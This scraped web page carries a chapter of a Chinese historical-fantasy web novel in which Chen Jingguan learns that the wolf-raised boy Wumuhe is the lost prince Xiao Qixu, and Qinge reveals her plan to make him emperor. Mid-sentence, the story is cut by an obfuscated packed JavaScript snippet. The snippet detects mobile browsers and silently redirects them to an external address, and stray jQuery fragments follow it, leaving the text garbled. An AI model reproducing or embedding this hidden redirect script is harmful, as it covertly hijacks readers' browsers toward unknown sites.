默认冷灰
24号文字
方正启体

103.枯木逢春(七)

作者:恰逢其适本书字数:K更新时间:
    陈京观点头,“乌木禾,我知道他的名字。”


    沁格没有回答,倒是赞木琪德继续说:“那你可觉得他熟悉?”


    陈京观眉头微皱,心中陡然生出个不可言喻的猜测,他抿着嘴没说话,赞木琪德道:“他是我阿布从腾里捡来的,我们是想自己养的,可奴隶家的孩子一辈子只能是奴隶,我阿布就把他交给了当时来巡边的忽兰。”


    陈京观侧过头看着忽兰,忽兰点头应道:“那时候他大概四岁,不知道在沙漠里爬了多久,据说被人捡到的时候他和狼群在一起,是狼养活了他。”


    陈京观回想起刚才自己盯着的那个背影,看来他的猜测没错,乌木禾身上的确有些不同寻常的地方。


    “那然后呢?”陈京观问。


    “我把他抱了回来,将一切与阿布说了,他只是盯着乌木禾看了很久,然后招来了自己的手下,把孩子送给了他。”


    忽兰的话语焉不详,但陈京观已经猜到了七八分,他没有直接说明,而是等着忽兰继续说着乌木禾的生世。


    “后来阿布去世,我整理他的信件时看到了这个。”


    忽兰说着从怀里掏出一块绢布,陈京观接过来,上面的信息他很熟悉,那是萧祺栩的生辰。


    “兹察说阿布托他算的,乌木禾的生辰。”


    一霎,陈京观猛地抬眸看着忽兰,忽兰默默点头,继续道:“除却生辰,还有他脖子上的胎记,不过那块胎记倒是随着他长大越变越淡了。”


    陈京观终于知道自己看到乌木禾脖子上那块粉红时为什么会觉得熟悉了。温浅曾在萧祺栩出生后托陈频遍寻名医想要除掉那块胎记,她怕萧霖会因为胎记而不喜欢萧祺栩。


    “至于其他的,”沁格清了清嗓子,“在忽兰同我说了这些后我就开始着手调查,云山帮我找了南魏的谍子,把你父亲当时来西芥的所有情况都弄清楚了,时间地点全都对得上。”


    沁格说到这顿了顿,“所以你一开始来西芥,是为了报仇吗?”


    陈京观点头,“是,就为了遏佐的命。”


    沁格又看了陈京观一眼,不忍叹气道:“无论如何,我还是感谢你最开始的帮助。但其实若那时候你直接应了阿布,或许你会赢得更容易些。”


    沁格后半句话没说完,陈京观笑着回:“遏佐死了,这就够了。复仇是我的事,牺牲你做什么?”


    沁格没说话,陈京观继续道:“可你们既然早就知道乌木禾的身世了,又为什么要一直养着他?且不说这算不算养虎为患,你们若用他换萧霖的妥协或者逼萧霖退让,总还是有用的。如果不是出于这个打算,恪多有什么要调查乌木禾的身世?”


    忽兰摇头道:“萧霖这么多年从来没派人找过他,他从来都不想要这个儿子,我们把他送回去,只是让他去送死罢了。”


    陈京观无言以对,他此时不想也没有立场为萧霖辩解,更何况他如今自己也拿不准萧霖的态度了。


    忽兰见他没回答,仰着头长出一口气,“况且他能活着不容易。我们信奉狼为草原之王,他是狼群选中的孩子,那就是长生天选中的孩子,我们会让他活下去的,不管他是谁。”


    “那你们今日告诉我,是想让我怎么做?”


    陈京观的目光从眼前人的脸上扫过,沁格望着他。


    “我想让他做南魏的皇帝。”


    沁格的话犹如春日的惊雷,那一瞬陈京观甚至开始怀疑自己的耳朵,他不解地看着沁格,嘴角微微抽搐。


    “你们知道他是南魏的皇子,而你们养了他这么多年,现在选择放虎归山?”


    沁格缓缓勾起嘴角,“就因为我们养了他这么多年,所以我才敢放他回去。乌木禾就像是我们一口一口喂大的狼崽,狼,是很忠诚的动物。让他成为南魏皇帝,我西芥能换来百年太平。”


    “你就这么确定他不会受到欲望的影响?”


    沁格哑然失笑,“欲望,其实也不一定是个坏东西。”


    陈京观抬头对上了沁格的视线,他觉得眼前的人短短两年变了许多,此时沁格看着他笑,他从其中看到了许多。


    野心,权威,还有一丝不明就里的疯狂。


    “你从何时开始计划的?”


    沁格没有立刻回答,她故作思索地停顿片刻,重新拿过恪多留下的那封信。她用手划过上面的纹路,目光追随着指尖的跳动慢慢锋利,“从你为了北梁来向我们索宛达的命。”


    陈京观觉得喉咙一紧,沁格倒是不以为意地笑了,“我理解,天下熙熙皆为利来,我们当时不还逼你们签了开关协议吗?”


    陈京观没有回答,沁格往前探了探身子,逼着陈京观与自己对视。


    “这其实也是你最好的选择,功成名就之后,陈频的一切冤屈将以萧祺栩的口吻澄清,他是如今这这世界上最有说服力的人。”


    是啊,作为是唯一的幸存者,如果再成为南魏的掌权人,届时的萧祺栩能将陈频彻底洗白。


    “你要的,只是简单的太平吗?”


    陈京观没有顺着沁格的话说,他反问道。沁格脸上的表情意味不明,她饶有兴趣地盯着陈京观,“我说过,我要你踏破后的天下。”


    说罢,沁格挺起腰慢慢站起身,此时的她没有了与陈京观平视时的亲切感,陈京观微微仰头看她,看到的是一个真正的王。


    “当然,这一切我也可以不借你的手,等萧霖死的那天我会亲自送萧祺栩去他该去的位置。只是那时,就没有南魏了。”


    沁格仰着头,明明她嘴里说出来的话决定着一个国家乃至未来天下的命运,可她的表情,她的语气没有丝毫变化,就仿佛在同陈京观谈论早上的饭好不好吃。


    陈京观犹豫片刻也站起身,他走到沁格对面,“那你为什么还要同我讲这些?”


    沁格脸上笑意渐浓,“我不想让善良的人输得太惨。”


    见陈京观不说话,沁格继续道,“这天下所有人都说好人不长命,可我偏不信。陈京观,那时候你拉了我一把,我现在便向你伸出手,我要你记得,只要你还是最初那个陈京观,我就会同你站在一起。这是你种下的因果。”


    这一刻,陈京观想到了自己第一次来西芥时的场景,以及他对沁格说的那句话。


    “我的盟友,是西芥的别吉。”


    沁格看着他笑了,她知道陈京观明白了她的意思。


    陈京观的这句话,在沁格无数个濒临崩溃的时候撑着她,无论是藩王逼宫,是蛮族反叛,亦或者是连年天灾,沁格都坚信自己一定能撑下去,因为她是西芥的别吉。


    她是自己的玄鸟。


    那时候忽兰刚让位,遏佐的余孽借着宛达之死三番五次到原恪多部边境挑衅,他们看不上沁格是个女人,他们觉得女人只能被藏在帐子里生孩子。


    沁格不服,她也没有想过要忍下来,可她身边追随她的除却恪多的老部下,只有她下令赦免的那些妇孺。


    沁格不想让这些犹如惊弓之鸟的女子上


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15100842|146751||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    战场,她们在沉默和漠视中活了半辈子,沁格做不到让她们死在刚升起的太阳里。


    况且,她们习惯将自己当作男人的影子,那些刻在骨子里的奴性和卑微在她们身上落下病根,沁格是恪多捧在手心里养大的玫瑰,可这些女子不是,在她们的脑海中从来没有对男人的忤逆。


    人永远无法战胜自己的思想。


    沁格没有感觉到愤怒,却从心底爬上挥之不去的可悲。


    于是沁格带着大家离开了恪多部,一路北上回到了木尔斯草原。在那里,沁格是草原的王,她像是回归天地的野马,而她的部落天生对女子有不一样的认识。


    慢慢的,那些被沁格带回木尔斯草原的女子开始结伴出游,开始研究妆发,开始谈论过去从未敢开口的事情,她们直白地看着英俊的年轻人,她们开始从事狩猎和牧马的工作,她们在一片包容里寻找自己。


    终于,短短一年后沁格带着全新的西芥骑兵队打回了岭扬江下游,无数身披红色铠甲的女子亲手终结了过去的噩梦,她们的马下臣服着过去的屈辱,她们在马上高昂头颅。


    也是那时候沁格明白了,任何人想要征服天下,她首先要征服人心。


    这之后的半年多时间,整个西芥重新洗牌。大大小小各色部落群起,可没有人再对沁格产生异议。


    与男人的政权不同,坐在高位上的是天生拥有母性的女子,她对权力的渴望全部在于子民富饶,她不需要时刻用暴政苛政来彰显自己的威严。


    与其说沁格要的是权力,倒不如说她喜欢权力带给她的自由。


    而获得了这一切的沁格,在某个月明星稀的夜晚想到了陈京观说的这句话。


    在那之前,沁格无法忽略心中对于陈京观这句话的依赖,她会在无路可走的时候本能的想到陈京观或许会来帮她,只因为她还是西芥的别吉,她还撑着一口气等着援兵。


    可在经历了这许多之后,沁格终于明白了,她能坚持到现在从来不是因为陈京观给自己的求援信号,而是那一声声“别吉”,是她的子民,是她骨子里对命运不公的抗争。


    陈京观让她明白了这世上最可靠的盟友就是她自己。


    “沁格,你会是一个好帝王。”


    陈京观说罢,突然释然地笑了,他向沁格伸出手,致以她南魏最高的敬意。


    “可能只有一个人不认为自己是王时,她才能真正掌握权力而不是被权力吞噬。那王座很聪明,它看得到每个人的内心,它会替长生天杀死所有自私的人。”


    沁格伸手扶起了忽兰,朝赞木琪德微微点头,赞木琪德先带着忽兰离开了营帐。


    “陈京观,如果你有一刻怀疑过你曾经做过的善事,你都对不起我对你的信任。”


    说完,沁格和陈京观相视一笑,他们的笑声透过帘子传到外面,随着渐起的秋风飘到马棚,越过军营,穿过牧区,到达了西芥的每一块土地。


    此时站在营帐外的乌木禾,或者说萧祺栩,当然也听到了。他低头朝忽兰行礼,踟蹰在帐前不敢行动。


    “进去吧,他是你的阿哈啊。”


    忽兰的左手抚着乌木禾的脊背,少年人的紧张透过掌心传递给忽兰,忽兰笑着说:“他很想你,他也很爱你的。”


    “真的吗?他们真的没有不要我吗?”


    忽兰的目光只一秒闪烁,随后他坚定地看着乌木禾。


    “任何人都可能不要你,陈京观不会的,你是他在这世上唯一的亲人了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)